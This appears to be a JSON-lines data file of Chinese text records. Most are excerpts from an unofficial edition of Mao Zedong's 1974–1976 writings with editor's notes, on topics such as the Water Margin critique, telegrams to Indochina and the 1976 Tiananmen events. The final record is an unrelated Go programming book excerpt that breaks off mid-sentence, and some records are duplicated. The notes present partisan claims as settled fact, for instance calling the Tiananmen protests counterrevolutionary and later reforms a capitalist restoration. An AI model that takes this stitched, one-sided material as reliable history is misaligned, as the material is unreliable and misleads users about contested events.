    {"text": "” 二月二十日，中央根据毛泽东的批示发出通知：对批林批孔运动中不少单位提出的领导干部“走后门”送子女参军、入学等问题，应进行调查研究，确定政策，放运动后期妥善解决。"},
    {"text": "随后，在一月八日至十日举行的中共十届二中全会上，邓小平当选为中共中央副主席、中央政治局常委。 在一月十三日至十七日举行的四届全国人大一次会议上，邓小平被任命为副总理。"},
    {"text": "一九二五年加入中国共产党。 一九五八年五月在中共八届五中全会上被增选为中共中央副主席、政治局常务委员。 一九五九年任中央军委副主席、国防部长，主持中央军委工作。"},
    {"text": "在九届二中全会上主张设国家主席（毛泽东主席明确表示要改变国家体制不设国家主席），并组织人企图压服中央，犯了错误，被毛泽东主席识破，对其进行了警告和批评，并等待其认错达一年之久（从一九七〇年九月到一九七一年九月），不料，其子林立果狂妄自大，趁毛泽东南巡之时，妄图谋杀毛泽东主席，事情败露后，九月十三日夜，林立果挟制林彪和叶群驾机逃往苏联，最后坠毁于蒙古温都尔汗，史称“九一三”事件。"},
    {"text": "林彪一九三四年六月十七日发表了《论短促突击》的文章，提出了二十七条实施措施和注意事项，文章最后说：最后让我引用华夫同志的话来结束我这篇文字吧！"},
    {"text": "他在担任军事顾问期间，推行军事教条主义，他不懂得中国的国情，也不认真分析战争的实际情况，只凭在军事课本上学到的条条框框，在苏区进行指挥。"},
    {"text": "在红军的第五次反“围剿”，都是按李德“短促突击”、“两个拳头作战”、“御敌于国门之外”、建立正规军打阵地战这一套错误路线进行的。"},
    {"text": "一九三五年一月党中央在贵州遵义召开政治局扩大会议，李德列席了会议，在受到会议批判后，被取消了最高军事指挥权，撤销了军事顾问的职务。"},
    {"text": "〔11〕 王明，实际主持当时临时中央工作，一九三一年七月十五日发表了《为中共更加布尔什维克化而斗争》的小册子，照搬苏联经验，推行“左”倾教条主义路线。"},
    {"text": "一九三二年四月四日，时任临时中央政治局委员和政治局常委的张闻天发表《在争取中国革命在一省与数省的首先胜利中中国共产党内机会主义的动摇》长文，系统批判毛泽东，指出当前苏区的主要危险，“是对国民党统治的过分估计，与对于革命力量的估计不足的右倾机会主义。"},
    {"text": "关于《水浒》的评论 关于《水浒》的评论 * （一九七五年八月十四日） 《水浒》这部书，好就好在投降。做反面教材，使人民都知道投降派。 《水浒》只反贪官，不反皇帝。屏晁盖 〔2〕 于一百零八人之外。宋江 〔3〕 投降，搞修正主义，把晁的“聚义厅”改为“忠义堂”，让人招安了。宋江同高俅 〔4〕 的斗争，是地主阶级内部这一派反对那一派的斗争。宋江投降了，就去打方腊 〔5〕 。 这支农民起义队伍的领袖不好，投降。李逵、吴用、阮小二、阮小五、阮小七 〔6〕 是好的，不愿意投降。 鲁迅评《水浒》评得好，他说：“一部《水浒》，说得很分明：因为不反对天子，所以大军一到，便受招安，替国家打别的强盗——不‘替天行道’的强盗去了。终于是奴才。”（《三闲集·流氓的变迁》） 金圣叹把《水浒》砍掉了二十多回。砍掉了，不真实。 鲁迅非常不满意金圣叹，专写了一篇评论金圣叹的文章《谈金圣叹》（见《南腔北调集》）。 《水浒》百回本、百二十回本和七十一回本，三种都要出。把鲁迅的那段评语印在前面。 注 释 * 这是毛泽东同志关于学习《水浒》 〔1〕 的谈话。 〔1〕 《水浒》，即《水浒传》，又称《忠义水浒传》，明初小说家施耐庵根据《大宋宣和遗事》及有关话本与民间流传的水浒故事加工整理而成。主要版本有明嘉靖年间武定侯郭勋刻本《忠义水浒传》，一百回本；明杨定见刻本《忠义水浒全传》，一百二十回本；清金圣叹评点本《第五才子书水浒传》，七十一回本。 这三种版本，人民文学出版社后来都出过重排本。 〔2〕 晁盖，《水浒传》中梁山早期领袖。 〔3〕 宋江，《水浒传》中为第一号人物，为梁山起义军领袖，力主接受招安，并最终导致了起义军和他自己的悲剧命运。 〔4〕 高俅，《水浒传》中朝廷方代表，反面角色，贪官污吏。 〔5〕 方腊，《水浒传》中另一支农民起义军。 〔6〕 李逵、吴用、阮小二、阮小五、阮小七，《水浒传》中的英雄好汉，反对招安。"},
    {"text": "福特：我们讨论了我们同苏联之间的问题，还有我们在全球范围内的对策，以及我的国家和你的国家有必要合作，去实现那些对我们两国都有利的目标。"},
    {"text": "福特：主席先生，如果你的国家和我的国家一起合作，应对来自苏联的挑战，那么美国和中华人民共和国外交关系正常化，就会在我的国家得到支持。"},
    {"text": "我们想象，如果我们自己采取行动，并且中国和其他国家也采取行动，我们就能够防止苏联获得一个重要的海军基地，防止他们控制安哥拉的主要资源。"},
    {"text": "福特：主席先生，我要谢谢你，给了我这样一个机会讨论世界局势，表达了我们发展双边关系、在许多问题上一起合作、解决许许多多世界冲突的愿望。"},
    {"text": "〔3〕 乔治·赫伯特·沃克·布什，又称老布什，一九七四年至一九七五年任美国驻北京联络处主任，后在一九八九年一月至一九九三年一月期间，担任美国第四十一届总统。"},
    {"text": "一九九一年，南斯拉夫社会主义联邦共和国的斯洛文尼亚、克罗地亚、波斯尼亚和黑塞哥维纳和马其顿四个共和国相继宣布独立。 一九九二年四月二十七日，南斯拉夫社会主义联邦共和国议会通过新宪法，宣布塞尔维亚和黑山两个共和国联合成立南斯拉夫联盟共和国。"},
    {"text": "一九七五年九月二日，埃及和以色列关于西奈的协议签字。 这是继一九七四年一月埃以达成两国军队脱离接触协议之后，关于西奈问题的第二项协议。"},
    {"text": "〔14〕 安哥拉，从二十世纪五十年代起，安哥拉人民为反抗葡殖民统治，先后成立了三个民族解放组织：安哥拉人民解放运动（简称安人运）、安哥拉民族解放阵线（简称安解阵）和争取安哥拉彻底独立全国联盟（简称安盟）,并于六十年代相继开展争取民族独立的武装斗争并得到国际社会的广泛支持。"},
    {"text": "安人运受苏联支持，另外两个派别受美国与南非支持，国内仍持续呈现战争状态，直到二〇〇二年四月四日签订停战协定，才结束了长达二十七年的内战。"},
    {"text": "〔15〕 南非共和国在一九四八年至一九九〇年实行种族隔离制度，这个制度对白人与非白人（包括黑人、印度人、马来人、及其他混血门族）进行分隔并在政治经济等各方面给予歧别待遇。"},
    {"text": "一九七三年十一月三十日联合国大会通过的《禁止并惩治种族隔离罪行国际公约》宣布：种族隔离违反国际法原则，特别是联合国宪章的宗旨和原则，对国际和平和安全构成严重的威胁，是危害人类的罪行。"},
    {"text": "祝贺印度支那三国抗美救国战争取得胜利 祝贺印度支那三国抗美救国战争取得胜利 * （一九七五年四月、十二月） （一）毛泽东等祝贺柬埔寨民族解放 人民武装力量完全解放金边的电报 （一九七五年四月十七日） 柬埔寨国家元首 柬埔寨民族统一阵线主席 诺罗敦·西哈努克亲王， 柬埔寨民族统一阵线中央政治局主席 柬埔寨王国民族团结政府首相 宾努亲王， 柬埔寨王国民族团结政府副首相兼国防大臣 民族解放人民武装力量总司令 乔拉潘先生阁下： 在柬埔寨民族解放人民武装力量的强大攻势下，金边已经完全解放。"},
    {"text": "我们代表中国共产党、中国政府和中国人民向你们，向柬埔寨民族统一阵线、柬埔寨王国民族团结政府、英雄的柬埔寨民族解放人民武装力量和全体柬埔寨人民表示最热烈的祝贺和最崇高的敬意。"},
    {"text": "富有光荣反帝革命传统的柬埔寨人民不畏强暴，揭竿而起，团结在以诺罗敦·西哈努克亲王为主席的柬埔寨民族统一阵线周围，进行了整整五年英勇顽强的战斗，克服了重重困难，终于取得了民族解放战争的决定性胜利。 柬埔寨人民通过武装斗争所取得的这一伟大胜利，再一次雄辩地证明，只要坚持正确的道路，弱国就一定能够打败强国，小国就一定能够打败大国。 柬埔寨人民在长期武装斗争中表现出来的顽强革命精神和大无畏英雄气概，为世界革命人民树立了光辉榜样，赢得了各国人民的钦佩和赞扬。 柬埔寨人民的伟大胜利，不仅为印度支那人民的反帝斗争作出了重大的贡献，而且有力地鼓舞和推动着全世界一切被压迫民族和被压迫人民的革命斗争。"},
    {"text": "我们深信，柬埔寨人民在以诺罗敦·西哈努克亲王为主席的柬埔寨民族统一阵线的旗帜下，加强整个民族和全体人民的大团结，继续英勇奋斗，就一定能够不断取得新的更大的胜利。"},
    {"text": "中国共产党中央委员会主席 毛泽东 中华人民共和国全国人民代表大会常务委员会委员长 朱 德 中华人民共和国国务院总理 周恩来 一九七五年四月十七日于北京 （二）毛泽东等祝贺越南南方军民 彻底摧毁南越傀儡政权解放西贡的电报 （一九七五年四月三十日） 西贡 越南南方民族解放阵线中央委员会主席团主席阮友寿阁下， 越南南方共和临时革命政府主席黄晋发阁下， 河内 越南民主共和国主席孙德胜同志， 越南劳动党中央委员会第一书记黎笋同志， 越南民主共和国国会常务委员会主席长征同志， 越南民主共和国政府总理范文同同志： 越南南方军民经过长期的英勇奋战，彻底摧毁了南越傀儡政权，终于解放了西贡。"},
    {"text": "我们代表中国共产党、中国政府和中国人民向你们，向越南南方民族解放阵线和越南南方共和临时革命政府，向越南劳动党和越南民主共和国政府，向越南南、北方全体人民，表示最热烈的祝贺和最崇高的敬意。"},
    {"text": "英雄的越南人民，为了祖国的独立和民族的解放，高举胡志明主席“决战决胜”的光辉旗帜，不屈不挠，前赴后继，进行了几十年艰苦卓绝的斗争，先后打败了美帝国主义及其走狗的“特种战争”、“局部战争”和“越南化”战争，取得了一个又一个的伟大胜利。 巴黎协定签订之后，越南人民在新的形势下，对于西贡傀儡集团在美国政府的支持下破坏巴黎协定、拒绝实现民族和睦、疯狂屠杀人民的罪行，进行了坚决的自卫反击战，终于以革命战争打败了反革命战争，取得了完全解放越南南方的辉煌胜利。"},
    {"text": "越南人民的胜利，再次有力地证明，一个国家的人民，哪怕是一个小国的人民，在维护祖国独立、自由和争取民族解放的正义事业中，只要敢于起来斗争，敢于拿起武器，用正义战争反对非正义战争，不怕困难，不怕牺牲，不怕挫折，坚持下去，就一定能够打败任何貌似强大的敌人，取得斗争的最终胜利。"},
    {"text": "中国共产党中央委员会主席 毛泽东 中华人民共和国全国人民代表大会常务委员会委员长 朱 德 中华人民共和国国务院总理 周恩来 一九七五年四月三十日于北京 （三）毛泽东等祝贺老挝 人民民主共和国宣告成立的电报 （一九七五年十二月五日） 万象 老挝人民民主共和国主席 老挝最高人民议会主席 苏发努冯阁下， 老挝人民民主共和国政府总理 凯山·丰威汉阁下： 在老挝人民民主共和国宣告成立及你们荣任共和国主席、最高人民议会主席和政府总理的时候，我们代表中国共产党、中国政府和中国人民向你们，向老挝人民革命党、老挝人民民主共和国政府和兄弟的老挝人民表示热烈的祝贺和崇高的敬意。"},
    {"text": "老挝人民民主共和国的诞生，是老挝人民长期英勇斗争的光辉成果。 几十年来，英雄的老挝人民在老挝人民革命党的领导下，为了祖国的独立和民族的解放，不畏强敌，不怕困难，坚持武装斗争，经过艰苦曲折的道路，终于战胜了帝国主义侵略者和国内极右反动势力，取得了民族民主革命的伟大胜利。"},
    {"text": "我们相信，富有革命斗争传统的老挝人民，在老挝人民革命党的领导下，坚持独立自主、自力更生，不断克服前进道路上的困难，必将把老挝建设成独立、民主和繁荣的国家。"},
    {"text": "中国共产党中央委员会主席 毛泽东 中华人民共和国全国人民代表大会常务委员会委员长 朱 德 中华人民共和国国务院总理 周恩来 一九七五年十二月五日于北京 注 释 * 这是毛泽东同志祝贺印度支那三国抗美救国战争 〔1〕 取得胜利的电报。"},
    {"text": "〔1〕 印度支那三国抗美救国战争，二十世纪六十年代至七十年代中期，越南、柬埔寨、老挝三国人民抗击美国侵略，维护国家独立的民族解放战争。 印度支那三国人民抗法斗争胜利不久，美国破坏一九五四年的《日内瓦协议》，于一九五五年十月在越南南方策动亲美势力废黜亲法的保大皇帝，建立吴庭艳傀儡政权，制造了正式分裂越南的局面。"},
    {"text": "同年十二月二十日，越南南方民族解放阵线宣告成立，美国为长期霸占南越，从一九六一年起发动由美国出钱、出枪，越南出人的“特种战争”。"},
    {"text": "一九六九年起，尼克松政府开始调整对外政策，为在欧洲和中东集中对付苏联，决定收缩力量，从南越逐步撤退，采取“以越南人打越南人”的“越南化”策略。"},
    {"text": "一九七三年二月二十一日，老挝爱国力量代表和万象政府代表签订《万象协定》，老挝人民一面巩固发展解放区，一面打击右派势力军事冒险行动。"},
    {"text": "走资派还在走，“永不翻案”靠不住 走资派还在走， “永不翻案”靠不住 * （一九七五年十月——九七六年一月） 清华大学刘冰 〔1〕 等人来信告迟群 〔2〕 和小谢 〔3〕 。"},
    {"text": "有些人不知孔的情况，可以读冯友兰 〔16〕 的《论孔丘》，冯天瑜 〔17〕 的《孔丘教育思想批判》，冯天瑜的比冯友兰的好。 还可以看郭老 〔18〕 的《十批判书》中的崇儒反法部分。"},
    {"text": "说“每次运动往往伤害老工人和有经验的干部”，那反对陈独秀、瞿秋白、李立三、罗章龙，反对王明、张国涛，反对高岗、彭德怀、刘少奇、林彪，都伤害了吗？"},
    {"text": "〔1〕 刘冰，一九七五年八月和十月，清华大学党委常务副书记刘冰，和另外两位党委副书记柳一安、惠宪钧，党委常委吕方正，拼凑了《关于迟群问题的材料》、《关于迟群同志的错误补充情况》等材料，经过团中央第一书记胡耀邦、教育部副部长李琦、国务院研究室主任胡乔木转给邓小平上书毛泽东。 他们用造谣诬蔑、颠倒黑白的手段，诬告于一九六八年七月带领工人宣传队进驻清华、现任清华大学党委书记迟群、副书记谢静宜两同志，他们的矛头实际上是对着毛主席的。"},
    {"text": "一九七五年十一月二十六日，中央印发《中共中央关于转发《打招呼的讲话要点》的通知及附件》即中发［一九七五］二十三号文件，全文附录了这两封信。"},
    {"text": "一九七五年十一月十六日的政治局会议上，刘冰做了检查：“主席严厉地批评了我，又要我列席政治局会议来帮助我，这是对我的关怀，我在这里对主席表示深深的感谢； 我是只见树木，不见森林，抓了一些鸡毛蒜皮，罗织罪状，错告了主席派往清华的干部，我犯了诬告的错误，我在送信过程中，涉及到一些同志，在中央政治局会议上，我对党、对主席应忠诚老实，不能隐瞒；"},
    {"text": "” 〔2〕 迟群，原任八三四一部队政治部宣传科副科长，一九六八年七月成为进驻清华大学工人解放军毛泽东思想宣传队的负责人之一，担任清华大学党委副书记、革委会副主任。"},
    {"text": "〔3〕 谢静宜，原任毛泽东的机要秘书，一九六八年七月和迟群一样成为进驻清华大学工人解放军毛泽东思想宣传队的负责人之一，担任清华大学党委常委，一九七一年下半年担任党委副书记、革委会副主任，中央委员、北京市市委书记。"},
    {"text": "〔4〕 小平，指邓小平，时任中共中央副主席、国务院副总理、中央军委副主席、中国人民解放军总参谋长，代替病重的周恩来主持中央日常工作。"},
    {"text": "一九七四年下半年，毛泽东在不同场合、针对某些问题，先后作出了“还是安定团结为好”、“把国民经济搞上去”、“学习理论反修防修”三条指示。"},
    {"text": "〔6〕 指一九六二年九月二十四日至二十七日在北京举行的中共八届十中全会发布的公报，“八届十中全会指出，在无产阶级革命和无产阶级专政的整个历史时期，在由资本主义过渡到共产主义的整个历史时期（这个时期需要几十年，甚至更多的时间）存在着无产阶级和资产阶级之间的阶级斗争，存在着社会主义和资本主义这两条道路的斗争。"},
    {"text": "同时，社会上还存在着资产阶级的影响和旧社会的习惯势力，存在着一部分小生产者的自发的资本主义倾向，因此，在人民中，还有一些没有受到社会主义改造的人，他们人数不多，只占人口的百分之几，但一有机会，就企图离开社会主义道路，走资本主义道路。"},
    {"text": "解放后，曾提出“阶级斗争熄灭论”，一九六八年被诊断为“肺炎杆菌性肺炎”，在七月中旬的一次发病后，虽经尽力抢救，从此丧失意识，一九六八年十月中共八届十二中全会通过《关于叛徒、内奸、工贼刘少奇罪行的审查报告》。"},
    {"text": "一九二五年加入中国共产党。 一九五八年五月在中共八届五中全会上被增选为中共中央副主席、政治局常务委员。 一九五九年任中央军委副主席、国防部长，主持中央军委工作。"},
    {"text": "在九届二中全会上主张设国家主席（毛泽东主席明确表示要改变国家体制不设国家主席），并组织人企图压服中央，犯了错误，被毛泽东主席识破，对其进行了警告和批评，并等待其认错达一年之久（从一九七〇年九月到一九七一年九月），不料，其子林立果狂妄自大，趁毛泽东南巡之时，妄图谋杀毛泽东主席，事情败露后，九月十三日夜，林立果挟制林彪和叶群驾机逃往苏联，最后坠毁于蒙古温都尔汗，史称“九一三”事件。"},
    {"text": "〔9〕 “不知有汉，何论魏晋”，这句话出自陶渊明写的《桃花源记》，大意是说我们住在这与世隔绝的桃花源中，不知道有汉朝，也就更不知道魏晋了。"},
    {"text": "一九七五年十一月二十日，根据毛泽东的意见，中央政治局讨论了对文化大革命的评价问题，对邓小平作了批评。 毛泽东希望在“文化大革命”问题上统一认识，提出由邓小平主持作一个肯定“文化大革命”的决议，总的评价是“三分缺点，七分成绩”。 邓小平却说：“由我主持写这个决议不适宜，我是桃花源中人，‘不知有汉，何论魏晋’”，暴露了他全盘否定文化大革命的政治立场。"},
    {"text": "十月二十五日，毛泽东收到清华大学人事处负责人的信，告周荣鑫想把迟群“从政治上搞臭、组织上搞倒，把他从教育部门领导班子中赶出去，千方百计地要否定科教组几年来的工作，已在全国特别是教育战线产生了很坏的影响。"},
    {"text": "产联，全称“美国产业工会联合会”，是美国按产业原则建立的工会组织。 美国劳工联合会——产业工会联合会是美国老牌的工会组织，也是最大的工会组织。"},
    {"text": "〔19〕 一九七六年《红旗》第四期发表了张春桥的文章，《中国人要反对洋奴哲学》，深刻批判邓小平的洋奴哲学，全文如下： 在社会主义革命和建设中，是坚持独立自主、自力更生，还是推行洋奴哲学、爬行主义，这是马克思主义和修正主义两条路线的原则分歧，是社会主义历史阶段两个阶级、两条道路斗争的一个重要方面。"},
    {"text": "他公开主张把发展生产、发展科学技术的希望寄托在外国，叫嚷“要拿出多的东西换取外国最新最好的设备”，还说什么“这是最可靠的”，而且是“一个大政策”。"},
    {"text": "国内劳动群众的创造受到议论讥笑，坚持自力更生的革命精神受到非难攻击，似乎坚持独立自主、自力更生不对了，推行洋奴哲学、爬行主义反而有理了。 伟大领袖毛主席指出：“自力更生为主，争取外援为辅，破除迷信，独立自主地干工业、干农业，干技术革命和文化革命，打倒奴隶思想，埋葬教条主义，认真学习外国的好经验，也一定研究外国的坏经验——引以为戒，这就是我们的路线。"},
    {"text": "在社会主义制度的基础上，我国人民能够发挥出无穷无尽的力量。 只要充分发挥人民群众的聪明智慧和创造才能，完全能够依靠我们自己的力量，建设起一个具有现代农业、现代工业、现代国防和现代科学技术的社会主义强国。"},
    {"text": "人造地球卫星按预定计划返回地面，新的石油勘探开采技术的采用，大型内燃机车、大容量双水内冷汽轮发电机组、百万次电子计算机、电子扫描显微镜、各种类型数控机床等新产品试制成功，都表明我们在赶上和超过世界先进水平的道路上正凯歌行进。"},
    {"text": "我们同党内那个不肯改悔的走资派的分歧，并不在于要不要“四个现代化”，而在于走什么道路，执行什么路线，究竟把社会主义建设的基点放在那里。"},
    {"text": "放在自己力量的基点上叫做自力更生。 ”把立足点放在自力更生上，是我们进行革命和建设的一条根本原则，是战胜一切困难夺取胜利的可靠保证。"},
    {"text": "在革命战争胜利以后，我们又在物质条件十分困难的情况下，依靠自力更生，打破了帝国主义的封锁禁运，顶住了社会帝国主义的刁难破坏，独立自主地发展社会主义经济，把一个贫穷落后的旧中国，建设成为初步繁荣昌盛的社会主义新中国。"},
    {"text": "只有从本国的实际情况出发，依靠本国人民群众的创造力，充分利用和挖掘本国的资源和潜力，才能在不太长的时间里，建立起独立完整的工业体系和国民经济体系，使我们的国家更能经受风险，立于不败之地。"},
    {"text": "党内那个不肯改悔的走资派大唱反调，到处叫嚷要千方百计出口，去“换回好多好东西回来”据说这样就能加快资源的开发，加快工业的技术改造，加快科研的步伐，真是妙不可言。"},
    {"text": "国际上存在阶级斗争，这是不以人们的意志为转移的，工人群众从长期的斗争实践中很懂得这一点，他们说：“我们决不能把社会主义建设的命运系在别人的腰带上”。"},
    {"text": "如果不把立足点放在自力更生上，样样靠引进，为了引进，甚至把发展经济主要立足于国内市场的社会主义原则丢在一边，无原则地以出口换进口，势必造成那么一种状况：自己能生产的无限制地进口；"},
    {"text": "文化大革命以前，刘少奇宣扬“造船不如买船，买船不如租船”，机引进，船买进，眼睛盯着外国的一点技术专利，国产的货轮和船用柴油机长期得不到发展。"},
    {"text": "其实，即使是资本主义国家，完全依靠外国，也不可能真正发展自己的独立经济。 我们是社会主义国家，要有自己的独立的经济体系，只能走自己工业发展的道路。 离开独立自主、自力更生，不但搞不成社会主义的现代化，而且会使我们的社会主义国家蜕化变质，复辟资本主义，靠向外国乞讨过活。"},
    {"text": "它同帝国主义有矛盾的一面，在一个时期里有可能与民众结成统一战线去反对帝国主义，但它又有依附于帝国主义经济的一面，常常屈服于帝国主义的压力，崇洋迷外。"},
    {"text": "我们一定要遵照毛主席的教导，以阶级斗争为纲，深入批判洋奴哲学，更加自觉地坚持独立自主、自力更生的方针，加速我国社会主义建设的步伐，把无产阶级专政下的继续革命进行到底。"},
    {"text": "对天安门事件的指示 对天安门事件的指示 * （一九七六年四月七日） 毛远新 〔1〕 ：（我汇报了四月五日、六日北京市的情况，谈到原来是打不还手，吃了亏，性质变了，应还手，并配备了木棍。"},
    {"text": "政治局好几个同志一直在大会堂注视广场事态变化，和北京市委一起研究解决的办法，吴德 〔3〕 去发表演说是大家的主意，动员一般群众离开，人少了才好动手。"},
    {"text": "（当我谈到政治局六日晚上研究的几件事，提到华国锋 〔4〕 同志建议将北京发生的事 〔5〕 通报全国，起草了北京市委的报告，中央发个文件——） 毛泽东：公开发表。"},
    {"text": "〔5〕 北京发生的事，指天安门事件，“四五”事件，四月六日凌晨，毛远新给毛泽东写了如下的报告： 主席： 五日夜到六日凌晨，政治局部分同志听取了北京市汇报，并研究下一步怎么办。 北京市公安局局长刘传新同志首先介绍情况，要点如下： 今天（五日）敌人闹得这么凶，我们估计不足，上午很被动，下午才扭转过来。"},
    {"text": "市委通过天安门广场的大喇叭广播以后，多数看热闹的群众都很快走散，一万民兵和五个营的战士及三千公安人员带着木棍把闹事的人全部包围，分批清理，多数教育释放，捉了最坏的三十八个人，前天捉了三十九个，大部分有证据。"},
    {"text": "刘传新同志说：这次事件有个特别明显的特点，即他们的矛头非常集中，各类演说、诗词、悼词、小字报、传单、字条、口号都集中攻击毛主席、攻击毛主席为首的党中央，这么多讲话、文章，就是不批邓，（有的公开拥护邓小平）不提走资派，不正面提毛主席（攻击的提），手法多样，朗诵诗词的，发表演说的，教唱歌的什么都有，很多不是这些年青人写得出来的，内容既恶毒又隐晦，是白头发的人编写的。"},
    {"text": "再一个特点是法西斯，不顾后果，疯狂已极，杀人、放火无所不为，（不是抢救得快，很多人会被打死）连提出不同意见的看热闹的群众都往死里打，是地地道道的反革命事件。"},
    {"text": "今天这么凶猛的反扑，出我们的意外，原以为昨夜打击了他们，得喘息一下吧，谁知趁我们拂晓调整兵力部署的时机，突然组织反扑，我们过于天真了，看简单了。"},
    {"text": "卫戍区司令吴忠同志说： 现在已准备了三万多民兵，集中在中山公园、劳动人民文化宫待命，市区内集结九个营的部队随时机动： 历史博物馆两个营， 小红楼一个营， 中山公园一个营， 劳动人民文化宫一个营， 市委机关一个营， 人大会堂一个营， 西单拘待所一个营， 市公安局一个营。"},
    {"text": "今天我们估计不足，准备也差，上午没搞好，没有集中力量，在今天上午烧汽车时就应出动，但调动不灵了，指挥部没（被）包围，冲进去放了火，在一楼浇上汽油、点火。"},
    {"text": "政治局的同志一起研究分析了一下： 不要以为事情完了，天安门前大表演是在造舆论，下一步是不是在广场不一定，防止他们声东击西，准备更大的事件的发生。"},
    {"text": "市委要进一步加强宣传教育工作，使全市人民知道天安门前到底发生了什么事，明天人民日报要发社论，组织全市人民学习，批邓提高警惕，准备应付更大的斗争。 国锋同志最后归纳了大家的意见，并建议由北京市立即把这两天的情况、性质、主要罪行，采取措施写个材料，中央尽快通报全国，今天的事必然会传到全国，敌人会进一步造谣，制造混乱，挑起更大的事端，各省市不了解情况有所准备是不行的。"},
    {"text": "毛远新 四月六日三时 〔6〕 吴德讲演，指一九七六年五日下午六时广播的《吴德同志在天安门广场广播讲话》，一九七六年四月八日人民日报全文如下： “同志们！"},
    {"text": "近几天来，正当我们学习伟大领袖毛主席的重要指示，反击右倾翻案风，抓革命、促生产之际，极少数别有用心的坏人利用清明节，蓄意制造政治事件，把予头直接指向毛主席，指向党中央，妄图扭转批判不肯改悔的走资派邓小平的修正主义路线，反击右倾翻案风的大方向。"},
    {"text": "全市广大革命群众和革命干部，要以阶级斗争为纲，立即行动起来，以实际行动保卫毛主席，保卫党中央，保卫毛主席的无产阶级革命路线，保卫我们社会主义祖国的伟大首都，坚决打击反革命破坏活动，进一步加强和巩固无产阶级专政，发展大好形势。"},
    {"text": "〔9〕 纳吉，一九五六年十月二十三日，匈牙利首都布达佩斯的数十万人举行示威游行，提出匈牙利进行全面改革、纳吉重新出任政府总理和苏联驻军撤离匈牙利等要求。"},
    {"text": "〔11〕 中共中央一九七六年四月七日通过决议《中共中央关于撤销邓小平党内外一切职务的决议》：“中共中央政治局讨论了发生在天安门广场的反革命事件和邓小平最近的表现，认为邓小平问题的性质已经变为对抗性的矛盾。 根据伟大领袖毛主席提议，政治局一致通过，撤销邓小平党内外一切职务，保留党籍，以观后效。"},
    {"text": "” 〔12〕 叶剑英，时任中共中央副主席，中央军委副主席，国防部长，一九七三年邓小平复出的倡议者，一九七五年积极配合邓小平的“整顿”。"},
    {"text": "〔13〕 中共中央一九七六年四月七日通过决议《关于华国锋任中国共产党中央委员会第一副主席、中华人民共和国国务院总理的决议》：“根据伟大领袖毛主席的提议，中共中央政治局一致通过，华国锋同志任中国共产党中央委员会第一副主席，中华人民共和国国务院总理。"},
    {"text": "〔2〕 静火以当年美国人的一个角度来为毛泽东时代做个注释，纽约美中人民友好协会旅行团成员、美国天主教《圣十字》季刊主编威廉·文·埃登·凯悉访华后写了一篇文章，题目是《毛的中国是个奇迹，但还不是天堂》，一九七六年九月五日出版，摘要如下： 我作为纽约美中人民友好协会发起的由十二人组成的旅行团成员之一，在中国的广州、南京、杭州、上海、北京五大城市以及部分郊区，进行了为时三个星期的参观访问。"},
    {"text": "我得以会见一些当地中国的宗教各教派的领导人：在杭州的一位伊斯兰教的阿訇，在上海的一位基督教牧师，在南京的一位圣公会退休主教以及在北京的天主教主教和神职人员。"},
    {"text": "从我能够搜集到的每一项意见中，按我看，显而易见，全部宗教，特别是带有组织形式的宗教，不论是西方的还是东方的，外国的还是本国的，已经几乎完全地从中国生活和思想中消失了。"},
    {"text": "过去二十五年来，由于反对共产党中国的美国院外活动集团无休止的宣传机器所助长的普遍看法，美国人曾经把中国宗教的衰亡归因于一个无神论者政府的无情的镇压。"},
    {"text": "这一事实给神学家提出一个令人困惑的问题：怎样能够说明如此人数众多的一个国家会那样普遍地表现出这种道德风尚，而在西方，这种表现则总是被认为是同宗教信仰和宗教动机联系在一起的。"},
    {"text": "那些其创始与发展同宗教有密切关系，并直到今天仍在高唱宗教的重要性的西方国家，其公共道德水平有多低，如果中国人能够知道，他们无疑将会大吃一惊。"},
    {"text": "这些有宗教的国家今天的暴行、贪婪、不公平、自私自利、偏见、色情、犯罪、吸毒和行凶泛滥成灾，但是没有宗教的中国却正在培育出一个健康和有道德风尚的人民。"},
    {"text": "我们从一些包括总统和国务卿们的歇斯底里的声音中听到过同样的而现在已证明为荒谬的预言，说什么随着共产党在南越的胜利而来的将是这种血洗。"},
    {"text": "二十五年之后，他给世界带来了一个强大的和有良好秩序的国家，一个具有自尊心和道德风尚的八亿多人民，生活在迄今所建立的一个最不分阶级，正义的和公正的社会，在那里每个公民够吃够用而没有那一个人享受过多。"},
    {"text": "世界上人口最为众多的国家，它本来很容易会给世界其它部分带来无法忍受的担子，而它现在却是一个保证人人在衣、食、住、行方面都照顾得象个样子的自给自足国家的典范。"},
    {"text": "毛认为个人存在于集体之中，并为集体而存在，而且个人是在集体中才能获得幸福和才华的发挥。 而我们则认为集体是为个人而存在的，而且集体的福利和力量的发挥是为了个人的利益的。"},
    {"text": "对中国问题的任何探讨中，必须记住毛的中国今天仍处于它的初建时期，我们当然不能对他们的缺点和他们为了取得二十五年的光辉灿烂的成就所必须付出的牺牲去吹毛求疵。"},
    {"text": "〔3〕 一九七六年十月六日，拥护文革的左派力量发生分裂，华国锋和叶剑英发动“十月政变”，宣布对王洪文、张春桥、江青、姚文元隔离审查，一九七七年七月，十届三中全会通过十届三中全会通过了《关于王洪文、张春桥、江青、姚文元反党集团的决议》和《关于恢复邓小平同志职务的决议》，邓小平复出后三年中，逐步削弱了华国锋的影响，走资派势力逐渐控制中央，并在一九八〇年十二月五日发布《中央政治局会议通报》，点名批评华国锋，“并认为改变他的现任职务是必要的”，“在六中全会以前，不再主持中央政治局、中央常委和中央军委的工作”，一九八一年六月二十七日中国共产党第十一届六中全会通过《关于建国以来党的若干历史问题的决议》，否定了毛泽东主席的“无产阶级专政下继续革命理论”，否定了文化大革命，华国锋下台，至此，走资派势力全面复辟。"},
    {"text": "第一卷 毛泽东选集 第一卷 第二卷 毛泽东选集 第二卷 第三卷 毛泽东选集 第三卷 第四卷 毛泽东选集 第四卷 第五卷 毛泽东选集 第五卷 第六卷 毛泽东选集 第六卷（静火版） 第七卷 毛泽东选集 第七卷（静火版）"},
    {"text": "chapter1 版权信息 书名：深入学习Go语言 作者：李晓钧 排版：Clementine 出版社：机械工业出版社 出版时间：2019-08-08 ISBN：9787111630722 本书由机械工业出版社授权北京当当科文电子商务有限公司制作与发行。 — · 版权所有 侵权必究 · — 未知 第7章 错误处理与defer 7.1 错误处理 7.1.1 错误类型（error） error在Go语言中是基础类型，下面的代码是error在Go语言中的定义。这段代码定义了一个接口，只要实现了这个接口就是error类型了。 标准库的errors包中实现了这个接口，任何时候，当需要一个错误类型对象时，都可以用errors（必须先import）包的errors.New方法接收合适的错误信息来创建，例如： 